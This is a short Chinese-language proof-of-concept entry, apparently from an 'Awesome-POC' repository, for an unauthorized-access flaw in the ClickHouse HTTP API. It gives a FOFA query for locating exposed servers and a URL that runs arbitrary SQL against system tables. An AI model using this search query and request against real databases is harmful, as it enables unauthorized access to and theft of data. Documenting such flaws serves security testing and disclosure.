Awesome-POC/服务器应用漏洞/ClickHouse API 数据库接口未授权访问漏洞.md
Threekiii e9e1a4597a init
2022-02-20 17:08:56 +08:00

33 lines
675 B
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# ClickHouse API 数据库接口未授权访问漏洞
## 漏洞描述
ClickHouse API 数据库接口存在未授权访问漏洞攻击者通过漏洞可以执行任意SQL命令获取数据库数据
## 漏洞影响
```
ClickHouse
```
## FOFA
```
"ClickHouse" && body="ok"
```
## 漏洞复现
登录页面
![img](https://typora-1308934770.cos.ap-beijing.myqcloud.com/202202091258079.png)
执行SQL语句
![img](https://typora-1308934770.cos.ap-beijing.myqcloud.com/202202091258245.png)
```php
/?query=SELECT%20*%20FROM%20system.query_thread_log%20LIMIT%201%20FORMAT%20Vertical
```
![img](https://typora-1308934770.cos.ap-beijing.myqcloud.com/202202091258274.png)